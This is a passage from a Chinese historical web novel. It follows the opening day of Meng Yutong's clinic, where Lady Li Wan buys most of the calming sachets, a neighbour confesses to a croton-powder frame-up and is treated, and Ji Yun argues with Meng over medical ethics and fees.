崔大成浓眉紧锁,看向梅三和孟玉桐,瓮声瓮气道:“可那八珍阁的伙计阿昌,瞧着就是个没骨头的软蛋,郑辉放个屁他都当圣旨。万一李璟去了,他们俩串通一气,继续颠倒黑白,咱们岂不是跳进黄河也洗不清?” 孟玉桐神色平静,温言宽慰二人:“郑辉这般阳奉阴违、欺上瞒下,绝非初次。李璟此人,性子是急躁了些,耳根子也软,易受人撺掇,但绝非愚不可及。只要他稍肯用点心去查,真相不难水落石出。” 她顿了顿,补充道,“况且,少当家归来在即,届时你们将那张伪造的契书摆在他面前,任他郑辉巧舌如簧,也难再狡辩。” 刘思钧本该在昨日抵达临安,恰好能赶上照隅堂开业的日子,不过路上似乎去办了别的事情,说是会再耽搁一日,今日大概是赶不上了。 “正是此理!”梅三眼睛一亮,伸手勾住崔大成的肩膀,往隔壁诊室热闹处努了努嘴,“行了,崔大哥,眼下领驱虫药包的街坊还不少,咱们先去帮把手,别让桂嬷嬷她们忙不过来。” 两人说着,便转身回到前堂继续忙碌。 一旁的白芷听了个大概,此刻才恍然大悟,小脸气得鼓鼓的:“我说呢,自打姑娘您筹划开这医馆起,就接二连三地遇上糟心事。原来都是那起子小人暗中使坏,仗着有靠山就如此欺人,忒不要脸了!” 孟玉桐轻轻拍了拍白芷的手背,唇角噙着一抹令人心安的浅笑。她的眸光始终澄澈而坚定,仿佛山间清凌凌的泉水,能涤净旁人心中烦忧似的,她温言道:“眼下最要紧的,是把咱们‘照隅堂’这块招牌立起来。 “唯有口碑相传,求诊者日众,方能在临安医界站稳脚跟,方有更大的机会提名官册,行济世之愿。” 她指向柜台,“快去将我们这几日赶制的安神香囊取出来,摆在最显眼处。” “哎!”白芷脆声应下,麻利地从柜台下拖出一只大竹箩筐,里面整整齐齐码放着上百只五色斑斓的香囊。 她小心翼翼抱起一摞,在柜台上精心垒叠,不多时,一座散发着清雅药草馨香的“小香塔”便矗立起来,色彩明丽,引人注目。 她们制作的这批香囊,分两种,色彩鲜艳,做工复杂一些的,是白芷一只只亲手绣的。里头装的药材香料品质也上乘,这一种,卖的便贵一些,要价三百文一只。 孟玉桐同众人说过,清风茶肆那边往来有许多清贵,爱茶者大多风雅,自然也好这般精巧有效用的香囊之物。何浩川这几日戴着照隅堂送的香囊,应当能吸引一些追求品质,不在意价钱的主顾,这一批香囊,便是为此类人群准备的。 同时,孟玉桐也让白芷准备了一些更实惠的,样子和香料虽比不上那三百文的,却也有安神的效用,售价五十文一只。这一类香囊,更符合普通人的购买能力。 此时尚无病患登门,孟玉桐帮着白芷摆好香囊,也加入了分发药包的行列。一个时辰忙下来,备好的驱虫药包已发放一空。 偶有领药的街坊被那五彩香塔吸引,驻足询问,但一听闻“五十文一只”的定价,多是咋舌摇头,最终只卖出三只。而那三百文一只的,更是无人问津。 日头西斜,喧嚣散尽。没了领药包和看热闹的人群,照隅堂门前顿时冷清下来,门可罗雀。别说买香囊,连进来歇脚问路的人都寥寥无几。 白芷百无聊赖地倚在门框上,伸长了脖子向外张望。 崔大成和梅三早已支撑不住,一个趴在方桌上鼾声微起,一个支着x胳膊肘打盹。 角落里,桂嬷嬷心无旁骛地研磨着香料,石杵与石臼发出单调而规律的轻响。 唯有吴明坐立不安,靠着柜台,看着孟玉桐依旧不疾不徐、慢条斯理地分拣着药材,那恬静专注的侧影,更衬得他心头焦灼。 “当家的……”吴明终是忍不住开口,声音带着明显的急切,“您说咱们这香囊定价是不是忒高了点?能抵上好些人家的一顿酒菜钱呢。 “要不……降降?这都一天了,才卖出仨,堆在柜台上也是堆着,换不来钱啊!” 他想起早先幻想的日进斗金,再看看眼前冷清的场面,只觉得那美梦如同泡影。 孟玉桐闻言,并未立刻抬头。 她指尖拈起一片晒干的合欢花,在指腹间轻轻捻过,才抬眸看向吴明。 那目光沉静如水,带着一种奇异的安抚力量,仿佛注入山间晨雾的一缕明亮日光,轻易便能抚平焦躁不安。 她唇角微扬,声音温润:“吴明小哥,这香囊非是寻常闺阁玩物,乃安神助眠之物,所用药材皆非俗品,岂能与市井香囊同价? “于那饱受夜不能寐之苦者而言,若能以五十文换得夜夜安枕,何贵之有?”她顿了顿,将手中的合欢花轻轻放入药格,才继续道:“万事开头难。今日不过开馆第一日,不必急躁。不妨安心再等几日看看。须知世间诸事,鲜有一蹴而就者。” 言毕,她拉开柜台抽屉,取出一本蓝布封面的簿册,递给吴明:“你此刻若得闲,不妨将今日的流水记上一笔。” 那簿册封皮上墨笔写着“照隅堂收支簿”几个端正小楷。 吴明接过簿册,苦笑着掂了掂:“就今儿这点进项哪还用得着专门记啊。当家的这份定力,我是真真服了。” 他嘴上虽如此调侃,心中却对孟玉桐今日的种种表现佩服得五体投地。 回想清晨孙大娘那场闹剧,饶是他在聚福客栈历练多年,见惯了各色人等,也觉棘手无比。 而眼前这位年方十七、本该养在深闺不谙世事的姑娘,却成了所有人中最镇定自若的主心骨。 那份从容不迫的气度,那份抽丝剥茧的智慧,那份临危不乱的气场,让他心底最后一丝疑虑也烟消云散。 他隐隐觉得,有孟玉桐在,这照隅堂便如同有一枚定海神针,稳当得很。 他提笔蘸墨,依言在那簿册上工整写下今日寥寥几笔进项,心中那份莫名的信任感,竟比担忧更重几分。 吴明正专注落笔,门口倚着的白芷忽地站直了身子,声音带着惊喜:“姑娘!快看,有人来了!” 屋内众人瞬间被惊醒。 崔大成猛地抬头,梅三揉了揉惺忪睡眼,桂嬷嬷停下了手中的石杵,吴明也搁下了笔,齐齐随着白芷的目光向外望去。 只见医馆门前,不知何时悄然停驻了一辆青帷平顶马车。 车身由结实的榆木打造,漆色沉敛,只在车辕处雕着简洁的竹节纹饰,透着一股低调的清贵。 车前悬挂着一块小巧的松木牌,上面清晰地阴刻着一个端方的“纪”字。车夫利落地放好踏脚杌子。 车厢帘子一掀,一个约莫七八岁、穿着茶色杭绸直裰的男孩率先跳了下来,乌溜溜的大眼睛好奇地打量着眼前崭新的医馆匾额。 紧接着,一位身着沉香色莲纹褙子、鬓发梳得一丝不苟的妇人款步下车,面容温婉清贵。 她伸手牵起男孩的小手,步履从容地走向医馆大门。 两人身后跟着一位身着靛蓝劲装、身姿挺拔的年轻侍卫,正是云舟。 妇人目光温和地落在迎出来的白芷身上,声音清雅:“请问,孟大夫可在馆中?” 白芷眼珠飞快地转了转,认出眼前人,脸上立刻绽开热情的笑容,忙不迭地侧身引路:“在的在的!纪夫人、纪小公子快请进!姑娘就在里头!” 纪明一进照隅堂,便如脱缰的小马驹,拉着母亲李婉的手,脚步轻快地直冲向柜台后的孟玉桐。 孟玉桐见来人,眸中掠过一丝讶异,旋即恢复如常,向李婉微微颔首致意:“纪夫人安好。” 态度温雅有礼,既不刻意疏离,亦无过分热络。 李婉含笑回礼,目光却不着痕迹地在医馆内流转。 从整齐排列的药柜、洁净的地面,到空气中弥漫的淡淡药香,她眼中流露出几分真切的欣赏。 “孟大夫这医馆,拾掇得清雅利落,很是难得。今日贸然来访,倒非身子不适,只是听闻你开了馆,特意携明儿来瞧瞧。未曾叨扰吧?” “夫人言重了,何来叨扰之说。”孟玉桐浅笑应道,示意一旁的吴明奉茶。 此时,纪明早已灵活地钻到了柜台内侧,仰着小脑袋,一双乌溜溜的眼睛亮晶晶地望着孟玉桐,献宝似的从怀中掏出一物:“孟姐姐,贺你新店开张!这是我自己刻的!” 那是一只略显稚拙、却看得出用了心思的木雕捣药玉兔,憨态可掬。 孟玉桐目光先投向李婉,见李婉含笑点头,眼中无有不适,这才伸手接过那尚带着孩童体温的木雕,指腹抚过略显毛糙的刻痕,温声道:“多谢小公子,这小兔很可爱。你看这柜上的香囊,可有中意的?姐姐送你一只。” 吴明在一旁拿着收支录,眉头皱的老高,这卖没卖出几只,送都送了一箩筐呢。孟玉桐给纪明瞧的,可是定价三百一只的香囊啊。 也不知何时才能回本哟! 纪明闻言,立刻踮起脚尖,视线被柜台上那座五彩缤纷的“香囊塔”牢牢吸引。 各色锦缎香囊,绣着精巧的花草虫鱼,底部皆缀着清雅的“照隅”二字,煞是好看。 他左看右看,粉色荷花清雅,橙色石榴喜庆,黄色杏子可爱……一时竟挑花了眼,小脸满是纠结:“孟姐姐,都好漂亮呀,你帮我挑一只吧?” 孟玉桐莞尔,素手轻抬,从那“塔”中抽出一只靛蓝色的香囊,上面用金线绣着几只圆滚滚、憨态可掬的糖葫芦,递给他:“这个可喜欢?” “喜欢!谢谢孟姐姐!”纪明欢喜地接过,爱不释手地摸了摸那诱人的“糖葫芦”,随即绕过柜台,小跑到母亲李婉跟前,献宝似的举起:“母亲,您瞧,好看吗?” 不知为何,他语气里似带着一丝不易察觉的讨好和小心翼翼,与方才在孟玉桐面前的活泼自然判若两人。 李婉目光柔和地落在儿子脸上,轻轻颔首:“嗯,好看。” 得了母亲的肯定,纪明更是雀跃,转眼看见旁边坐得笔直、正努力瞪大眼睛驱散睡意的崔大成,便捧着香囊跑了过去,甜甜一笑:“这位大哥哥,能劳烦你帮我系上吗?” 崔大成一个激灵,睡意跑了大半,茫然地指了指自己的鼻子:“俺?” 他实在想不通这贵气的小公子为何找他。他两也不认识啊。 纪明用力点头,满眼期待。 崔大成挠了挠头,虽不明所以,但看着孩子干净的笑容,还是憨厚地应了声“成!”,笨拙却仔细地将香囊系在了纪明腰间。 一旁的梅三憋着笑,打趣道:“崔大,可仔细些,莫给人系反了!” 另一边,李婉接过吴明恭敬奉上的茶盏,指尖感受着杯壁传来的温热。 她并未落座,而是捧着茶盏,缓步踱至柜台前,目光落在那座色彩斑斓的“香囊塔”上,轻声问道:“这些精巧物件,都是孟大夫带着店中人亲手缝制的?” 孟玉桐点头:“正是。夫人若有兴趣,可细看一二,若有合心意的,小店之幸。” 吴明极有眼力见儿,立刻上前一步,脸上堆起热络又不失分寸的笑容,正要介绍这香囊如何安神宁心、助眠养性…… 却听李婉轻轻抬起手,对着那堆成小山的香囊虚虚一点,“不必细看了,这些,都替我包起来吧。” “都……都包起来?!”吴明以为自己听岔了,声音都拔高了几分,眼睛瞪得溜圆。 孟玉桐亦是微微一怔,随即温声提醒:“纪夫人,此处尚有五十只香囊。若是夫人自用,三两枚足矣,如此数量……”《 》 40-45 第41章 第41章勿向外求 自上次纪府一别,孟玉桐便察觉到,这一世的李婉待她,与前世记忆中那位总是带着些审视与疏离的纪夫人截然不同。 如今婚事已退,两人形同陌路,往后也不会再有交集,她本不欲去深究李婉转变的其中缘由。 然今日李婉亲自登门,又如此大手笔地照顾生意,这份刻意为之的亲近,让她不得不开始正视。 这位纪夫人葫芦里究竟卖的什么药? 李婉仿佛看穿了她心底的疑虑,唇边笑意温婉依旧,避重就轻地解释道:“孟大夫多虑了。你x上回所赠那只香枕,于助眠一事确有奇效,近来我睡得安稳许多。 “想着这香囊效用应也相似,多买些回去,正好可赠予常来往的几位夫人,聊表心意,亦算为孟大夫这新开张的医馆略添些人气。孟大夫不必有负担。” “哎哟!夫人您真是好眼光!这香囊送人又雅致又贴心,再合适不过了!小的这就给您包起来,保管妥帖!” 吴明瞬间回神,喜上眉梢,忙不迭地应承下来,立刻招呼白芷过来帮忙。 两人手脚麻利,一个去找合适的锦盒,一个小心翼翼地整理香囊,不过片刻功夫,那四十九只色彩缤纷的香囊便整整齐齐地码放在一只精致的红木提盒里。 孟玉桐见状,心知多说无益,便不再推拒。 只是在结算时,她执意只收了四十八只香囊的银钱,剩余两只,权作送给纪明和李婉的见面礼。 李婉也未推辞,示意云舟付了银钱,接过沉甸甸的提盒,又与孟玉桐寒暄两句,这才唤回正围着崔大成和梅三问东问西、满脸兴奋的纪明。 母子二人带着云舟,在众人目送下离开了照隅堂。 待那辆青帷马车消失在街角,吴明一直紧绷的肩膀终于松懈下来,脸上是压抑不住的激动。 他此刻根本无需孟玉桐提醒,迫不及待地抓起那本收支簿,提笔蘸墨,龙飞凤舞地记下: “四月十五,售安神香囊五十三只(含赠二),得钱七两又八百五十文整。” 他盯着那串数字,心中飞快盘算:从前这聚福客栈开张时,一日顶天也就两三百文的流水,刨去本钱,所剩无几。 如今这医馆头一天,光是香囊就卖了这么多!这可比开客栈强太多了! 他仿佛已经看到了无量“钱途”! 越想越美,吴明忍不住对正在重新整理柜台的白芷兴奋道:“白芷,你这香囊塔得再堆高些,堆壮观些!保不齐明日再来位阔绰夫人,一口气把剩下这些全包圆了!” 白芷正小心翼翼地柜台地下的另一小框香囊取出来,重新摆好造型,闻言没好气地白了他一眼,脆生生地怼道:“想得倒美,贪多嚼不烂,哪有那么多阔绰夫人,稳当点卖才是正经。” “说得也有理。”吴明喜滋滋将收来的钱锁进柜台里,希望日日都有今日这般的好运气! * 傍晚时分,天际残阳若金,将临安城的屋瓦染上一层暖橘色调。 几缕晚风带着白日未散的燥意穿堂而过,卷起书案上散落的纸页,更将墙角倚着的两把素面油纸伞“啪嗒”一声掀倒在地。 纪昀正伏案凝神,笔尖悬停在宣纸上,墨迹将落未落。 他在斟酌瑾安下一剂汤药中,是否该添一味石菖蒲以增开窍醒神之效。 这突兀的声响骤然响起,也打断了他的思绪。 一股莫名的烦躁如藤蔓般悄然缠上心头,竟再难平复。 他下意识抬手,修长的手指重重按上右肩胛骨深处,那里传出隐隐的酸痛。 明日,怕又要落雨了。 每逢思绪凝滞、心绪难宁之际,他惯爱去清风茶肆饮茶。 茶肆中,浮梁雪毫的味道最合他心意。 茶叶入口清苦,回味里蕴着微甜,他常常独坐窗前,看看市井百态,也看行人碌碌,品味这与他循规蹈矩的生活截然不同的、鲜活而芜杂的人间烟火。 一壶茶尽,总能涤荡几分烦扰,寻回几分清明。 他放下按压肩头的手,沉声唤道:“云舟。” 云舟应声而入。 “去清风茶肆,将昨日孟姑娘送你的伞拿着,顺路还了。还有上回我让你准备的《药理》手抄本,一并带上,以做谢礼。” 声音沉沉,带着几分疲惫。 云舟闻言,面上掠过一丝讶异,脱口道:“啊?公子,又去?” 他心中腹诽:这手抄本可是公子多年心血,每回老太爷校订新版,公子都要拿来细细比对,在这手抄本中做详细批注说明。 孟姑娘只是借了把伞给他们而已,哪用得着以这样珍贵的手抄书答谢? 还是说公子此番送的其实是庆贺照隅堂开张的贺礼? 他挠挠头,可这也不对啊,公子昨日不是说了不必送开张的贺礼么? 唉,公子的心思真是愈发难以琢磨了。 纪昀抬眸,目光淡淡扫过他,眸中有探寻之色。 云舟这才想起今日之事,连忙回禀:“回公子,今日午后,夫人带着小公子去了照隅堂。” 他觑着纪昀的脸色,小心地补充,“买了许多安神香囊,孟姑娘还额外赠了小公子和夫人一人一只。” 说到纪明,他声音更低了些,带着点心虚,“夫人难得主动带小公子出门散心,小公子欢喜得紧,小的……小的实在不好提禁足之事。” 他顿了顿,从怀中取出一个香囊,双手奉上:“对了,夫人吩咐,这只留给公子。” 纪昀的目光落在那只香囊上。 香囊用的是杏黄色锦缎,上面用玄青与银灰丝线绣着一只搏击长空的雄鹰。针脚细密,雄鹰的羽翼仿佛带着风雷之势,眼神锐利如电,直欲破囊而出。 他沉沉的眼眸中掠过一丝极细微的波澜,快得几乎无法捕捉。 旋即,他状似漫不经心地伸手取过,指尖无意识地在雄鹰凌厉的翅羽上摩挲片刻,最终,他神色如常地将香囊收入了广袖深处。 母亲的种种不同寻常,他并非毫无察觉。只是……他心底深处竟生出几分怯意,不愿去深究这转变的缘由。 仿佛一旦戳破这层微妙,母亲便会变回从前。如今这般,已是难得。 他刻意去忽略这份“不寻常”,更刻意地去忽略自己心底悄然滋生、同样难以言喻的、对某些“不寻常”的接纳。 他向来最厌烦变故,不是吗? 一成不变、按部就班、一切皆在掌控之中的生活,才是他的生存的秩序。 从何时开始,他心底竟似乎开始容许这些细微的、不可控的变化了。 “公子,伞备好了,书也备好了。”云舟的声音打断了他的思绪。他已将两把油纸伞拿在了手中,另一只手拎着一方木匣,里头放的正是《药理》一书。 纪昀敛去眸中翻涌的莫名情绪,起身道:“走吧。” 主仆二人踏着满地如碎金流淌的夕照,再次走向桃花街。 此次走的依旧是大路,从望仙桥穿过,先经过照隅堂,后到清风茶肆。 云舟这回没再问他为何不抄小路了,他抱着两把伞,又提着书,手臂早已发酸,实在是没功夫问了。 行至照隅堂门前时,他不待纪昀吩咐,便主动道:“公子,您稍候片刻,小的去把东西送进去。” 说罢,抱着伞和匣子熟门熟路地闪身进了医馆。 纪昀依言驻足,静静立于医馆门侧的阴影里。 晚风拂过他素色的袍角,带来一丝清苦药草气息。 目光透过敞开的门扉,纪昀的视线在这间小小医馆里逡巡一圈。 医馆布局简洁而实用:一面顶天立地的百眼药柜靠墙而立;药柜前是一方长长的柜台,柜台上一座五彩斑斓的“香囊塔”十分醒目;一道素雅的“回”字纹屏风巧妙地将空间分隔,左右两侧皆设有诊榻与桌椅。 右侧屏风后,白芷与崔大成、梅三几人正围坐一处,白芷专注地缝制着新的香囊,其余人帮着往里头送香料。 视线往左。 左侧诊室内,小榻上坐着一位四十多岁、穿着靛蓝粗布衣裙的妇人。她局促不安地搓着手指,眼神飘忽不定。 孟玉桐正坐在她身侧的圆凳上。 今日她着一袭杏子黄的素罗衫子,衬得肌肤莹白如玉。发髻依旧是简单的式样,只用一支素银簪绾住青丝,鬓边却别出心裁地簪了一朵同色的、用丝线精心缠成的杏花小绒球,平添几分灵动俏丽。 她安静地递过一碗冒着热气的汤药。 “孙大娘,”孟玉桐的声音温和,打破了诊室内的沉寂,“您此番过来,可是有什么话想同我说?” 孙桂芳捧着那碗热药,如同捧着块烫手山芋,嘴唇嗫嚅了几下,却一个字也吐不出来。 她今日是硬着头皮来的,做了那等亏心事,心中理亏得很。 更让她心慌的是,今日闹剧之后,街坊邻居看她的眼神都变了,连带着她那本就冷清的饭馆更是门可罗雀。 回家告诉吴庆来,那没良心的竟也骂她“不是人干的事”,直接把她轰出来给孟玉桐赔罪。 她低着头,手指几x乎要绞进粗布衣料里,半晌才挤出蚊蚋般的声音:“今、今日的事……是、是我老婆子鬼迷心窍,猪油蒙了心!就……就怕你这医馆开了,我那饭馆没了活路……妹、妹子你人美心善,菩萨心肠,大人有大量……可、可千万别跟我这糊涂人计较……” 声音里带着些哭腔和几分羞愧。 孟玉桐唇角漾开一抹极淡的笑意,那笑意却未达眼底,双眸很快恢复平静。 “大娘言重了。”她声音依旧平和,不紧不慢,“我知大娘本心并非险恶。只是那巴豆粉,性极峻猛,若摄入过量,轻则伤及脏腑,元气大损,重则耗竭真元,危及性命。若非有人从中蛊惑挑唆,大娘又岂会甘冒此等大险,以自身性命为注,来构陷于我?” 孙桂芳端着药碗的手猛地一抖,褐色的药汁泼洒了些许在衣襟上,她骇然失色:“竟、竟如此凶险?那……那我现下可有大碍? “那杀千刀的!他拍着胸脯跟我保证这东西顶多让人拉两趟肚子,屁事没有!还说……还说等你们这医馆关门了,他就在对面开间大客栈,所有饭食都包给我做!我……我是猪油蒙了心才信了他啊!” “‘他’……是谁?”孟玉桐试探问道。 “就是八珍坊那个挨千刀的掌柜,郑辉!” 孙桂芳咬牙切齿,“他说他背后有通天的靠山,我要是不照做,他就让我这饭馆立刻关门滚蛋!我也是走投无路了,妹子!好妹子,你快救救我! 那药是刚煎好的,正烫着,她顾不上吹,她一边说,一边生怕晚了似的,捧着药碗“咕咚咕咚”几口灌了下去,烫得她龇牙咧嘴。 一口气将药喝了,她放下药碗,一把抓住孟玉桐的手腕,如同抓住救命稻草般苦苦哀求:“除了这碗药,还要吃别的什么灵丹妙药不?” 孟玉桐轻轻拍了拍她的手背,安抚道:“莫慌。眼下虽无性命之忧,但为防落下病根,伤了根本,最好往后一个月,每日来服一碗调理脏腑、固本培元的汤药。” “好好好!我一定来!日日都来!多谢妹子!多谢妹子救命!”孙桂芳忙不迭地应承,感激涕零。 她如释重负,擦了擦嘴准备离开。 孟玉桐却出声唤住她:“孙大娘留步。今日诊金加上这碗药钱,共计一百文。后续一月汤药,每日三十文,总计九百文。劳烦大娘回头将这一贯钱提前结给白芷,我们也好预备药材。” 孙桂芳脚步一滞,被这数目惊得倒抽一口凉气。 竟要这么贵? 节省抠搜惯了的她下意识便想开口说不治了。 可一回头瞧见孟玉桐气定神闲的表情,想到她方才描述的巴豆药效之恐怖,再想想自己这条老命,终究是惜命的念头占了上风。 她咬咬牙,挤出个比哭还难看的笑:“成……成!我这就回去凑钱,凑齐了立马送来!” 孟玉桐颔首应允。就在孙大娘转身欲走之际,她清泠的声音再次响起:“孙大娘,‘桂芳’二字,起得极好。桂花性耐苦寒,偏于深秋霜重之时凌寒而放,幽香自远。 “可见境遇再艰,只要自身根骨硬朗,自有芬芳动人处。人活一世,与其眼巴巴指望他人施舍活路,不如反躬自省,精进己身,勿向外求。 “庆来饭馆若想重拾昔日食客盈门的光景,归根结底,还在您二位掌勺人的手上。将那灶台上的功夫拾掇好了,味道才是留住客人的根本。” 孙桂芳身形一震,猛地停下脚步。 这番话,字字句句如同重锤,落在她耳边,打在她心头! 她家饭馆……十年前也曾宾客满座,热闹非凡。 是从什么时候开始,他们夫妻俩变得懈怠了呢? 再也听不进食客的抱怨,只顾着埋怨时运不济、人心不古。 灶台上的心思也懒了,火候也糙了,那饭菜的味道,一日不如一日。 丈夫吴庆来总嘟囔是如今人口味刁钻了,可仔细想想,客人变了,他们难道就没变吗? 分明是他们自己没有当初的那颗心了。 十余年掌勺磨出的厚茧摩挲着粗布衣角,一股混杂着羞愧、懊悔与茫然的情绪汹涌而来…… 她缓缓转过身,对着孟玉桐,极其郑重地、深深福了一礼,声音带着哽咽:“……多谢妹子金玉良言!” 说罢,她低着头,脚步虚浮地往外走,心神恍惚间,竟差点撞上门外静立的纪昀,慌忙低声道歉后,便失魂落魄地奔回对面饭馆。 孟玉桐这才瞧见不知在门口伫立了多久的纪昀。 她起身,款步走到门边,杏黄的衫子在夕照下泛着柔和的光晕,唇角噙着一丝若有似无的笑意:“纪医官怎么来了?” 纪昀眉峰微蹙,眸色沉沉,周身却似散发着一股清冷肃然之气。 他薄唇轻启,带着几分劝诫:“孟姑娘方才对那妇人所言巴豆之害,未免危言耸听。此物虽峻猛,然其效过则自止,何至于脏腑受损、需月余汤药固本培元? “医者仁术,贵在诚笃。虚言恫吓,以牟财利,此乃违背‘医者仁心,贵乎诚笃’之训,失却‘大医精诚’之本分。” 孟玉桐闻言,非但不恼,反而低低笑出声来。 她顺势倚靠在门框上,姿态是难得一见的慵懒随意,那道笑容明媚张扬,如同一朵带刺的花在暮色中灼灼绽放。 “哦?”她尾音微扬,带着一丝戏谑,“纪医官是以什么身份,在此训诫于我?” 这般情状与传闻中那位规矩内敛的闺秀判若两人。 纪昀脑中蓦然闪过青书的话:孟氏女幼失慈母,父不理事,随孟家老太太长大,素以端方娴静闻名…… 如今看来,这般贤名倒像是副极好的面具。 他压下心头那丝异样,“孟小姐误会了,纪某断无训诫之意。只是身为同行,见姑娘行止有违医德,不免直言。” 孟玉桐心下了然。纪昀此人,心中自有一套对“医者”近乎苛刻的圭臬:悬壶济世,一视同仁;言必有据,不欺不瞒;不可见利忘义,不可草菅人命……条条框框,比她前世读过的《女诫》还要严苛几分。 她唇角忽然弯起一道淡然的弧度,语声飘渺:“纪公子觉得,我方才点醒孙大娘的那番话,值不值那一千文?那可是……” 金色的余晖温柔地镀在她如玉的脸庞上,勾勒出优美的轮廓。她抬起头,望向天边燃烧的流霞,霞光落入她眼中,折射出绮丽的光。 “那可是我用命才换来的道理。如今这般轻飘飘地告知于人,我还觉得亏了呢。” 她的目光从远处收回,站在台阶上,静静看着他。 那双清澈的眸子里,竟似有经年风霜呼啸而过,沉淀着令人心口微滞的冷沉。 用命换来的道理…… 勿向外求…… “孟姑娘此言何意?”他下意识追问,声音里带了一丝自己都未察觉的紧绷。 孟玉桐却已收了方才神色,看向他眼下的淡淡青影,语气似乎变得轻快起来,甚至带上点促狭:“纪公子上回不是说用了我的香方么?怎么瞧着这几日反倒像是未曾安枕的模样,莫不是那方子对公子不起作用?” 她抬指遥遥点了点柜台上的香囊塔,“喏,如今我们卖的是改良新方,效用更胜从前。纪公子要不要买一个试试?” 那“买”字,咬得格外清晰。 “买一个?”纪昀眉头几不可察地一蹙,似有几分难以置信。 她性子大方周全,对四周街坊、前日来送副本的陈玢、云舟、还有母亲都慷慨赠囊,为何到他这里,便是让他‘买’一个。 她对自己为何如此……如此厚此薄彼。 “是啊,”孟玉桐笑意盈盈,接得飞快,“买一个。” “不必了。”纪昀断然拒绝,声音恢复了惯常的清冷。 他心头涌上几分烦躁,不欲在此继续待下去,他侧身朝医馆内唤道:“云舟。” 云舟不知正与白芷说什么,说得眉飞色舞。 一听见纪昀喊他,他忽然一个激灵,同白芷道了声别,连忙应声跑出,出门时还不忘朝孟玉桐咧嘴笑了笑:“孟姑娘,昨日多谢你的伞,我们先告辞了!” 纪昀已转身离开,云舟飞快跟上,两人向清风茶肆走去。 “公子,”云舟憋不住话,“您方才瞧见庆来饭馆那孙氏没?小的方才在里头,可听白芷说了件大事!今x日照隅堂开馆,那妇人竟跑来闹场,一口咬定孟姑娘送的香囊有毒,险些闹出大乱子呢!” 云舟见他在听,便竹筒倒豆子似的,将白芷绘声绘色描述的场面,比如孙大娘如何哭嚎指控、孟玉桐如何破局当众揭穿的细节仔仔细细复述了一遍。 末了,他还忍不住摇头晃脑地评价:“公子您说,那李世子也忒没气度了!堂堂世子爷,跟孟姑娘一个小娘子计较这些,还使出这等下作手段,真是……啧啧。” 纪昀方才在门外虽听了个大概,此刻方知今日竟发生了这样的事。 他脚步未停,声音淡淡:“孙氏所为,是李璟手下郑辉指使?” “正是!”云舟用力点头,语气愤然,“依小的看,孟姑娘就是太心善了,那等黑心肝的妇人,害她不成反害己,就该让她自生自灭去。何苦费心给她诊治?治好了也是个祸害,下回被人一撺掇,指不定又出什么幺蛾子。” 勿向外求…… 这四个字再次无声地滑过纪昀心间,此刻却仿佛带着沉甸甸的分量。 躯壳之疾,针石可解;然心魔之困,贪嗔痴妄交织,如附骨之疽,驱使凡夫背离良知,行差踏错,才是真正的顽疾。 他下意识地顿住脚步,回眸望去。 照隅堂门前,已不见孟玉桐的身影。 唯有那方簇新的“照隅”牌匾,在淡金色的夕照余晖中,仿佛被熔铸了一层流动的金边,光芒流转,竟令人一时难以直视。 或许……她方才点醒孙桂芳的那番话,其价值,确实远超千文。 是他狭隘了。 恰在此时,一阵急促的马蹄声自新开门方向传来。 只见一男子骑快马飞驰而至,在照隅堂门前勒缰停住。 马上男子动作利落地翻身而下,风尘仆仆,却精神奕奕,冲着馆内高声喊道:“崔大!梅三!还不快滚出来迎你们少当家!” 云舟好奇望过去,一回头,正瞧见崔大成和梅三如同离弦之箭般从馆内冲出,激动地围着那男子又捶又抱,口中高喊着:“少当家的!您可算回来了!” “原来这位就是刘思钧,那些游商的领头人。果然意气风发,威武不凡!”云舟恍然,对纪昀道,“瞧着他们跟孟姑娘这边,亲热得跟一家人似的。” 纪昀只淡淡看了一眼,便转过头去,仿佛未曾听见,径自往前走了。 云舟回过神,赶紧小跑着追上去:“公子!等等我呀!” 第42章 第42章纪昀的谢礼 照隅堂门外,刘思钧利落地翻身下马,与激动迎上的崔大成、梅三重重互捶了几拳,算是问候。 他才站定,随即便立马指挥两人道:“快,帮我把马背上那两筐宝贝卸下来!” 崔大成和梅三上前拉住马匹,一左一右地从马背上抱下两只沉甸甸的藤编筐。 筐子被粗麻布盖得严实,看不清里头的情况。 崔大成好奇地掂了掂:“这里头是啥宝贝?圆咕隆咚的?” 梅三抱着筐子踢了他一脚:“你管那是啥,搬进来就是了。” 孟玉桐听见声响,从诊室里头走出,停在门边,瞧着几人动作。 刘思钧一见她,面上一喜,大步流星往前两步,一脚跨过门槛走到她跟前,朗声笑道:“孟姑娘,别来无恙!听说你开了间医馆,我是紧赶慢赶,总算没误了给你贺喜。” 他风尘仆仆,面庞晒得黝黑,衬得一口白牙和炯炯有神的眸子愈发亮堂,一身江湖里闯荡来去的自由豪迈气概扑面而来。 孟玉桐含笑致意:“刘公子一路辛苦,说起来医馆能顺利开张,还要多亏崔大哥、梅三哥这几日的帮忙。” “嗨!”刘思钧大手一挥,浑不在意,“你帮我们渡过大难,他们俩出点力气算啥?往后有什么需要你尽管差遣就是。” 两人说话间,崔大成和梅三已将两只藤筐搬入屋内,稳稳放在了柜台上。 “少当家的,你这宝贝疙瘩就给你放这儿了,快来打开给俺们瞧瞧!”崔大成催促了一句。 刘思钧面上笑意更浓,他上前两步,招手引着孟玉桐进来,将她带到柜台前停下。 他将那箩筐一把薅了过来,抬手掀开盖在上头的粗麻布,布巾移开后,便露出里头满满一筐青黑色、形如鹅卵、外壳坚硬如石的果实。 细细一看,其表面还沾着湿润的塘泥,像是刚从塘里挖出来不久。 “今日医馆开张,我定不能空着手来,这是我送你开张的贺礼,”刘思钧昂首挺胸,语气笃定:“你快瞧瞧!这贺礼可比那些个花里胡哨的绸缎啊茶叶啊书啊什么的实在多了!包管你稀罕!” 孟玉桐瞧着那一颗颗漆黑的果实,眸光微凝,捻起一颗,果实外壳沉实坚硬,凑近时能闻到微凉的泥腥气。 她讶然道:“这是石莲子?” “好眼力!”刘思钧惊讶于孟玉桐的见多识广,俊眸中赞赏之色更浓,“正是此物。上月我从秦州往临安途中,路过郊外一处荒废的野水塘,见几个顽童在捞这硬疙瘩打水漂。 “我瞧着古怪,这玩意儿沉塘不腐,外壳坚硬逾石,想起医书上提过‘水沉莲实,经年不坏,乃治痢圣药’,便留了心。” 他们家经营着偌大的马帮,什么生意都做。早年间贩药材贩得多,他自小便常常跟着看一些医书,认得许多药材。 刘思钧顺便从怀里掏出一张画得有些潦草的牛皮纸,上面勾勒着水塘方位、深浅标记,尤其标注了淤泥最厚的区域。 